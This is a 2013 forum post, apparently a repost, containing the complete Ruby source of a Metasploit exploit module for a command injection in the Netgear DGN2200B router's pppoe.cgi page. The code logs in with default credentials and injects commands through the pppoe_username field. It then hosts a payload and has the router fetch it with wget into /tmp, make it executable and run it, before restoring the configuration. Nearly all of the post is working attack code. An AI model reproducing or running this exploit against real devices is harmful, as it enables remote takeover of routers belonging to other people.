Kwelwild Posted April 20, 2013 Report Posted April 20, 2013 Some Netgear Routers are vulnerable to an authenticated OS command injection on their web interface. Default credentials for the web interface are admin/admin or admin/password. Since it is a blind os command injection vulnerability, there is no output for the executed command when using the cmd generic payload. A ping command against a controlled system could be used for testing purposes. This Metasploit module overwrites parts of the PPOE configuration, while the module tries to restore it after exploitation configuration backup is recommended.### This file is part of the Metasploit Framework and may be subject to# redistribution and commercial restrictions. Please see the Metasploit# web site for more information on licensing and terms of use.# http://metasploit.com/##require 'msf/core'class Metasploit3 < Msf::Exploit::Remote Rank = ManualRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::Remote::HttpServer include Msf::Exploit::EXE include Msf::Exploit::FileDropper def initialize(info = {}) super(update_info(info, 'Name' => 'Netgear DGN2200B pppoe.cgi Remote Command Execution', 'Description' => %q{ Some Netgear Routers are vulnerable to an authenticated OS command injection on their web interface. Default credentials for the web interface are admin/admin or admin/password. Since it is a blind os command injection vulnerability, there is no output for the executed command when using the cmd generic payload. A ping command against a controlled system could be used for testing purposes. This module overwrites parts of the PPOE configuration, while the module tries to restore it after exploitation configuration backup is recommended. }, 'Author' => [ 'Michael Messner <devnull@s3cur1ty.de>', # Vulnerability discovery and Metasploit module 'juan vazquez' # minor help with msf module ], 'License' => MSF_LICENSE, 'References' => [ [ 'BID', '57998' ], [ 'EDB', '24513' ], [ 'OSVDB', '90320' ], [ 'URL', 'http://www.s3cur1ty.de/m1adv2013-015' ] ], 'DisclosureDate' => 'Feb 15 2013', 'Privileged' => true, 'Platform' => ['linux','unix'], 'Payload' => { 'DisableNops' => true }, 'Targets' => [ [ 'CMD', { 'Arch' => ARCH_CMD, 'Platform' => 'unix' } ], [ 'Linux mipsbe Payload', { 'Arch' => ARCH_MIPSBE, 'Platform' => 'linux' } ], ], 'DefaultTarget' => 1, )) register_options( [ OptString.new('USERNAME', [ true, 'The username to authenticate as', 'admin' ]), OptString.new('PASSWORD', [ true, 'The password for the specified username', 'password' ]), OptAddress.new('DOWNHOST', [ false, 'An alternative host to request the MIPS payload from' ]), OptString.new('DOWNFILE', [ false, 'Filename to download, (default: random)' ]), OptInt.new('HTTP_DELAY', [true, 'Time that the HTTP Server will wait for the ELF payload request', 60]), OptInt.new('RELOAD_CONF_DELAY', [true, 'Time to wait to allow the remote device to load configuration', 45]) ], self.class) end def get_config(config, pattern) if config =~ /#{pattern}/ #puts "[*] #{$1}" #debugging return $1 end return "" end def grab_config(user,pass) print_status("#{rhost}:#{rport} - Trying to download the original configuration") begin res = send_request_cgi({ 'uri' => '/BAS_pppoe.htm', 'method' => 'GET', 'authorization' => basic_auth(user,pass) }) if res.nil? or res.code == 404 fail_with(Exploit::Failure::NoAccess, "#{rhost}:#{rport} - No successful login possible with #{user}/#{pass}") end if [200, 301, 302].include?(res.code) if res.body =~ /pppoe_username/ print_good("#{rhost}:#{rport} - Successfully downloaded the configuration") else fail_with(Exploit::Failure::NoAccess, "#{rhost}:#{rport} - Download of the original configuration not possible or the device uses a configuration which is not supported") end else fail_with(Exploit::Failure::NoAccess, "#{rhost}:#{rport} - No successful login possible with #{user}/#{pass}") end rescue ::Rex::ConnectionError fail_with(Exploit::Failure::Unreachable, "#{rhost}:#{rport} - Failed to connect to the web server") end @pppoe_username_orig = get_config(res.body, "<td\ align=\"right\"><input\ type=\"text\"\ name=\"pppoe_username\"\ size=\"15\"\ maxlength=\"63\"\ value=\"(.*)\"><\/td") @pppoe_passwd_orig = get_config(res.body, "<td\ align=\"right\"><input\ type=\"password\"\ name=\"pppoe_passwd\"\ size=\"15\"\ maxlength=\"63\"\ value=\"(.*)\"><\/td") @pppoe_servicename_orig = get_config(res.body, "<td\ align=\"right\"><input\ type=\"text\"\ name=\"pppoe_servicename\"\ maxlength=\"63\"\ size=\"15\"\ value=\"(.*)\"><\/td") @runtest_orig = get_config(res.body, "<input\ type=\"hidden\"\ name=\"runtest\"\ value=\"(.*)\">") @wan_ipaddr_orig = get_config(res.body, "<INPUT\ name=wan_ipaddr\ type=hidden\ value=\ \"(.*)\">") @pppoe_localip_orig = get_config(res.body, "<INPUT\ name=pppoe_localip\ type=hidden\ value=\ \"(.*)\">") @wan_dns_sel_orig = get_config(res.body, "<INPUT\ name=wan_dns_sel\ type=hidden\ value=\ \"(.*)\">") @wan_dns1_pri_orig = get_config(res.body, "<INPUT\ name=wan_dns1_pri\ type=hidden\ value=\ \"(.*)\">") @wan_dns1_sec_orig = get_config(res.body, "<INPUT\ name=wan_dns1_sec\ type=hidden\ value=\ \"(.*)\">") @wan_hwaddr_sel_orig = get_config(res.body, "<INPUT\ name=wan_hwaddr_sel\ type=hidden\ value=\ \"(.*)\">") @wan_hwaddr_def_orig = get_config(res.body, "<INPUT\ name=wan_hwaddr_def\ type=hidden\ value=\ \"(.*)\">") @wan_hwaddr2_orig = get_config(res.body, "<INPUT\ name=wan_hwaddr2\ type=hidden\ value=\ \"(.*)\">") @wan_hwaddr_pc_orig = get_config(res.body, "<INPUT\ name=wan_hwaddr_pc\ type=hidden\ value=\ \"(.*)\">") @wan_nat_orig = get_config(res.body, "<INPUT\ name=wan_nat\ type=hidden\ value=\ \"(.*)\">") @opendns_parental_ctrl_orig = get_config(res.body, "<INPUT\ name=opendns_parental_ctrl\ type=hidden\ value=\ \"(.*)\">") @pppoe_flet_sel_orig = get_config(res.body, "<INPUT\ name=pppoe_flet_sel\ type=hidden\ value=\ \"(.*)\">") @pppoe_flet_type_orig = get_config(res.body, "<INPUT\ name=pppoe_flet_type\ type=hidden\ value=\ \"(.*)\">") @pppoe_temp_orig = get_config(res.body, "<INPUT\ name=pppoe_temp\ type=hidden\ value=\ \"(.*)\">") @apply_orig = get_config(res.body, "<input\ type=\"SUBMIT\"\ name=\"apply\"\ value=(.*)\ onClick=\"return\ checkData\(\)\">") end def restore_conf(user,pass,uri) # we have used most parts of the original configuration # just need to restore pppoe_username cmd = @pppoe_username_orig print_status("#{rhost}:#{rport} - Asking the Netgear device to reload original configuration") res = request(cmd,user,pass,uri) if (!res) fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Unable to reload original configuration") end print_status("#{rhost}:#{rport} - Waiting #{@timeout} seconds for reloading the configuration") select(nil, nil, nil, @timeout) end def request(cmd,user,pass,uri) begin #original post request #login_type=PPPoE%28PPP+over+Ethernet%29&pppoe_username=%26%20COMMAND%20%26 #&pppoe_passwd=69cw20hb&pppoe_servicename=&pppoe_dod=1&pppoe_idletime=5 #&WANAssign=Dynamic&DNSAssign=0&en_nat=1&MACAssign=0&apply=%C3%9Cbernehmen #&runtest=yes&wan_ipaddr=0.0.0.0&pppoe_localip=0.0.0.0&wan_dns_sel=0 #&wan_dns1_pri=0.0.0.0&wan_dns1_sec=...&wan_hwaddr_sel=0 #&wan_hwaddr_def=84%3A1B%3A5E%3A01%3AE7%3A05&wan_hwaddr2=84%3A1B%3A5E%3A01%3AE7%3A05 #&wan_hwaddr_pc=5C%3A26%3A0A%3A2B%3AF0%3A3F&wan_nat=1&opendns_parental_ctrl=0 #&pppoe_flet_sel=&pppoe_flet_type=&pppoe_temp=&opendns_parental_ctrl=0 res = send_request_cgi( { 'uri' => uri, 'method' => 'POST', 'authorization' => basic_auth(user,pass), 'encode_params' => false, 'vars_post' => { "login_type" => "PPPoE%28PPP+over+Ethernet%29",#default must be ok "pppoe_username" => cmd, "pppoe_passwd" => @pppoe_passwd_orig, "pppoe_servicename" => @pppoe_servicename_orig, "pppoe_dod" => "1", #default must be ok "pppoe_idletime" => "5", #default must be ok "WANAssign" => "Dynamic", #default must be ok "DNSAssign" => "0", #default must be ok "en_nat" => "1", #default must be ok "MACAssign" => "0", #default must be ok "apply" => @apply_orig, "runtest" => @runtest_orig, "wan_ipaddr" => @wan_ipaddr_orig, "pppoe_localip" => @pppoe_localip_orig, "wan_dns_sel" => @wan_dns_sel_orig, "wan_dns1_pri" => @wan_dns1_pri_orig, "wan_dns1_sec" => @wan_dns1_sec_orig, "wan_hwaddr_sel" => @wan_hwaddr_sel_orig, "wan_hwaddr_def" => @wan_hwaddr_def_orig, "wan_hwaddr2" => @wan_hwaddr2_orig, "wan_hwaddr_pc" => @wan_hwaddr_pc_orig, "wan_nat" => @wan_nat_orig, "opendns_parental_ctrl" => @opendns_parental_ctrl_orig, "pppoe_flet_sel" => @pppoe_flet_sel_orig, "pppoe_flet_type" => @pppoe_flet_type_orig, "pppoe_temp" => @pppoe_temp_orig, "opendns_parental_ctrl" => @opendns_parental_ctrl_orig } }) return res rescue ::Rex::ConnectionError vprint_error("#{rhost}:#{rport} - Failed to connect to the web server") return nil end end def logout(user,pass) begin res = send_request_cgi({ 'uri' => '/LGO_logout.htm', 'method' => 'GET', 'authorization' => basic_auth(user,pass) }) if res.nil? or res.code == 404 fail_with(Exploit::Failure::NoAccess, "#{rhost}:#{rport} - No successful logout possible") end rescue ::Rex::ConnectionError fail_with(Exploit::Failure::Unreachable, "#{rhost}:#{rport} - Failed to connect to the web server") end end def exploit downfile = datastore['DOWNFILE'] || rand_text_alpha(8+rand(8)) uri = '/pppoe.cgi' user = datastore['USERNAME'] pass = datastore['PASSWORD'] @timeout = datastore['RELOAD_CONF_DELAY'] # # testing Login # print_status("#{rhost}:#{rport} - Trying to login with #{user} / #{pass}") begin res = send_request_cgi({ 'uri' => '/', 'method' => 'GET', 'authorization' => basic_auth(user,pass) }) if res.nil? or res.code == 404 fail_with(Exploit::Failure::NoAccess, "#{rhost}:#{rport} - No successful login possible with #{user}/#{pass}") end if [200, 301, 302].include?(res.code) print_good("#{rhost}:#{rport} - Successful login #{user}/#{pass}") else fail_with(Exploit::Failure::NoAccess, "#{rhost}:#{rport} - No successful login possible with #{user}/#{pass}") end rescue ::Rex::ConnectionError fail_with(Exploit::Failure::Unreachable, "#{rhost}:#{rport} - Failed to connect to the web server") end grab_config(user,pass) if target.name =~ /CMD/ if not (datastore['CMD']) fail_with(Exploit::Failure::BadConfig, "#{rhost}:#{rport} - Only the cmd/generic payload is compatible") end cmd = payload.encoded cmd = "%26%20#{cmd}%20%26" res = request(cmd,user,pass,uri) if (!res) fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Unable to execute payload") else print_status("#{rhost}:#{rport} - Blind Exploitation - unknown Exploitation state") end return end #thx to Juan for his awesome work on the mipsel elf support @pl = generate_payload_exe @elf_sent = false # # start our server # resource_uri = '/' + downfile if (datastore['DOWNHOST']) service_url = 'http://' + datastore['DOWNHOST'] + ':' + datastore['SRVPORT'].to_s + resource_uri else #do not use SSL if datastore['SSL'] ssl_restore = true datastore['SSL'] = false end #we use SRVHOST as download IP for the coming wget command. #SRVHOST needs a real IP address of our download host if (datastore['SRVHOST'] == "0.0.0.0" or datastore['SRVHOST'] == "::") srv_host = Rex::Socket.source_address(rhost) else srv_host = datastore['SRVHOST'] end service_url = 'http://' + srv_host + ':' + datastore['SRVPORT'].to_s + resource_uri print_status("#{rhost}:#{rport} - Starting up our web service on #{service_url} ...") start_service({'Uri' => { 'Proc' => Proc.new { |cli, req| on_request_uri(cli, req) }, 'Path' => resource_uri }}) datastore['SSL'] = true if ssl_restore end # # download payload # print_status("#{rhost}:#{rport} - Asking the Netgear device to download and execute #{service_url}") #this filename is used to store the payload on the device filename = rand_text_alpha_lower(8) cmd = "/usr/bin/wget #{service_url} -O /tmp/#{filename};chmod 777 /tmp/#{filename};/tmp/#{filename}" cmd = Rex::Text.uri_encode(cmd) cmd = "%26%20#{cmd}%20%26" res = request(cmd,user,pass,uri) if (!res) fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Unable to deploy payload") end # wait for payload download if (datastore['DOWNHOST']) print_status("#{rhost}:#{rport} - Giving #{datastore['HTTP_DELAY']} seconds to the Netgear device to download the payload") select(nil, nil, nil, datastore['HTTP_DELAY']) else wait_linux_payload end register_file_for_cleanup("/tmp/#{filename}") # #reload original configuration # restore_conf(user,pass,uri) # #lockout of the device and free the management sessions # logout(user,pass) end # Handle incoming requests from the server def on_request_uri(cli, request) #print_status("on_request_uri called: #{request.inspect}") if (not @pl) print_error("#{rhost}:#{rport} - A request came in, but the payload wasn't ready yet!") return end print_status("#{rhost}:#{rport} - Sending the payload to the server...") @elf_sent = true send_response(cli, @pl) end # wait for the data to be sent def wait_linux_payload print_status("#{rhost}:#{rport} - Waiting for the victim to request the ELF payload...") waited = 0 while (not @elf_sent) select(nil, nil, nil, 1) waited += 1 if (waited > datastore['HTTP_DELAY']) fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Target didn't request request the ELF payload -- Maybe it cant connect back to us?") end end endendSursa: Netgear DGN2200B pppoe.cgi Remote Command Execution ? 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